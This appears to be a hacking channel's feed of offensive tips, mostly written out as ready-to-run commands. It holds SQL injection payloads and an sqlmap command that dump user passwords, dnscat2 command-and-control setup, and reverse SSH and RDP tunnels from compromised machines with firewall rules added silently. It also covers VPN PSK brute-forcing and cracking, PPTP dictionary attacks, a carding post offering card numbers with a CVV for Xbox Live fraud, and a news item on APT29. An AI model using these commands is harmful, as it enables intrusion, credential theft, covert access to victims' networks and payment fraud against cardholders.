▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Union Based SQL Injection :

' or 1=1#

1' ORDER BY 10#

1' UNION SELECT version(),2#

1' UNION SELECT version(),database()#

1' UNION SELECT version(),user()#

1' UNION ALL SELECT table_name,2 from information_schema.tables#

1' UNION ALL SELECT column_name,2 from information_schema.columns where table_name = "users"#

1' UNION ALL SELECT concat(user,char(58),password),2 from users#


sqlmap --url="<url>" -p username --user-agent=SQLMAP --threads=10 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs

source github
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Attacking Machine Installation:
#fastTips via Linux :

1️⃣apt-get update

2️⃣apt-get -y install ruby-dev git make g++

3️⃣gem install bundler

4️⃣git clone https://github.com/iagox86/dnscat2.git

5️⃣cd dnscat2/server

6️⃣bundle install

7️⃣Run dnscat2:

> ruby ./dnscat2.rb

8️⃣dnscat2> New session established: 1422

> dnscat2> session -i 1422

enjoy❤️👍🏻
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Useful Networking tips :


+ Setting up an Ethernet bridge in Ubuntu/Kali Linux

# Install bridge-utils
sudo apt-get install bridge-utils

# Disable network-manager + firewall

# Configuration

ifconfig
ifconfig eth0 0.0.0.0
ifconfig eth1 0.0.0.0
brctl addbr br0
brctl addif br0 eth0
brctl addif br0 eth1
ifconfig mybridge up
dhclient br0 on devices

sudo tcpdump -i mybridge

# adding routes
route add 192.168.1.0/24 gw 10.10.0.43

# Port Forwarding - accept traffic on a given IP address and port andredirect it to a different IP address and port
apt-get install rinetd
cat /etc/rinetd.conf
\# bindadress bindport connectaddress connectport
w.x.y.z 53 a.b.c.d 80

# SSH Local Port Forwarding: supports bi-directional communication channels
ssh <gateway> -L <local port to listen>:<remotehost>:<remote port>

# SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local
attacking box to tunnel ALL incoming traffic to ANY host in the DMZ
network on ANY PORT
ssh -D <local proxy port> -p <remote port><target>

# Proxychains - Perform nmap scan within a DMZ from an external computer

# Create reverse SSH tunnel from Popped machine on :2222
ssh -f -N -T -R22222:localhost:22 yourpublichost.example.com
ssh -f -N -R 2222:<local host>:22 root@<remote host>

# Create a Dynamic application-level port forward on 8080 thru 2222
ssh -f -N -D <local host>:8080 -p 2222 hax0r@<remote host>

# Leverage the SSH SOCKS server to perform Nmap scan on network using proxy chains
proxychains nmap --top-ports=20 -sT -Pn $ip/24

# HTTP Tunneling
nc -vvn $ip 8888

enjoy❤️👍🏻
✅git topic
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑 Traffic Encapsulation - Bypassing deep packet inspection :

http tunnel
On server side:
sudo hts -F <server ip addr>:<port of your app> 80
On client side:
sudo htc -P <my proxy.com:proxy port> -F <port of your app> <server ip addr>:80 stunnel

# Tunnel Remote Desktop (RDP) from a Popped Windows machine to your network
Tunnel on port 22
plink -l root -pw pass -R 3389:<localhost>:3389 <remote host>

# Port 22 blocked? Try port 80? or 443?
plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P80

# Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel (bypass deep packet inspection)

# Windows machine add required firewall rules without prompting the user
netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow program="httptunnel_client.exe" enable=yes
netsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport=3000
netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport=1080
netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport=1079

# Start the http tunnel client
httptunnel_client.exe

# Create HTTP reverse shell by connecting to localhost port 3000
plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P 3000

enjoy❤️👍🏻
✅git topic
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑VPN HACKING METHODES & MORE

# VPN Hacking
- Identify VPN servers:
./udp-protocol-scanner.pl -p ike $ip

- Scan a range for VPN servers:
./udp-protocol-scanner.pl -p ike -f ip.txt

# Use IKEForce to enumerate or dictionary attack VPN servers:
pip install pyip
git clone https://github.com/SpiderLabs/ikeforce.git

# Perform IKE VPN enumeration with IKEForce:
./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

### Bruteforce IKE VPN using IKEForce:
./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1

Use ike-scan to capture the PSK hash:
ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
ike-scan –M –A –n example\_group -P hash-file.txt TARGET-IP

Use psk-crack to crack the PSK hash

psk-crack hash-file.txt
pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key


# PPTP Hacking Identifying PPTP, it listens on TCP: 1723
NMAP PPTP Fingerprint:

nmap –Pn -sV -p 1723 TARGET(S)
PPTP Dictionary Attack

thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst


# VLAN Hopping
git clone https://github.com/nccgroup/vlan-hopping.git
chmod 700 frogger.sh
./frogger.sh`

enjoy❤️👍🏻
✅git topic
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑The right steps for Information Gathering

1) Manually explore the site

2) Spider/crawl for missed or hidden content

3) Check for files that expose content, such as robots.txt, sitemap.xml, .DS_Store

4) Check the caches of major search engines for publicly accessible sites

5) Check for differences in content based on User Agent (eg, Mobile sites, access as a Search engine Crawler)

6) Perform Web Application Fingerprinting

7) Identify technologies used

8) Identify user roles

9) Identify application entry points

10) Identify client-side code

11) Identify multiple versions/channels (e.g. web, mobile web, mobile app, web services)

12) Identify co-hosted and related applications

13) Identify all hostnames and ports

14) Identify third-party hosted content

enjoy❤️👍🏻
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Steps a good Configuration Management :

1) Check for commonly used application and administrative URLs

2) Check for old, backup and unreferenced files

3) Check HTTP methods supported and Cross Site Tracing (XST)

4) Test file extensions handling

5) Test for security HTTP headers (e.g. CSP, X-Frame-Options, HSTS)

6) Test for policies (e.g. Flash, Silverlight, robots)

7) Test for non-production data in live environment, and vice-versa

8) Check for sensitive data in client-side code (e.g. API keys, credentials)

enjoy❤️👍🏻
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

✅x3 Bins For Xbox Live

Bin : 519603203xxxxxx1
519603204xxxxxx2
5196032051xxxx00

Date: 22/07

CVV : 706
IP : USA 🇺🇸

only verified by Us

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Britain, the United States and Canada say that Russian intelligence agencies are trying to steal the new crown vaccine research results
#News

> The governments of the United Kingdom, the United States and Canada accused the Russian National Intelligence Agency of hacking into international pharmaceutical and academic research institutions with a view to winning the competition to develop the Covid-19 vaccine.

>It is unclear whether the research institute was damaged, or whether the vaccine project was blocked by hacking, but the above-mentioned national officials warned that cyber attacks are still in progress.

> The UK’s National Cyber Security Centre (NCSC) said in an unexpected statement on Thursday that vaccine and treatment departments in multiple countries have been targeted. However, the institution did not list the names and number of institutions affected by this.

> The United Kingdom refers to the hacking organization named APT29, saying it is "almost certainly" an integral part of the Russian national intelligence service. The group is also known as Cozy Bear or The Dukes, targeting vaccine development organizations in the United Kingdom, United States and Canada.

> According to NCSC, malicious activities have been ongoing, mainly aimed at government, diplomacy, think tanks, health and energy targets, aimed at stealing valuable intellectual property.

> Russia denied any involvement in hacking activities against the new coronavirus vaccine. Kremlin spokesman Dmitry Peskov told Bloomberg: "We don't know who might have hacked into pharmaceutical companies and research centers. We can only say that Russia has nothing to do with these attempts."


#News
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁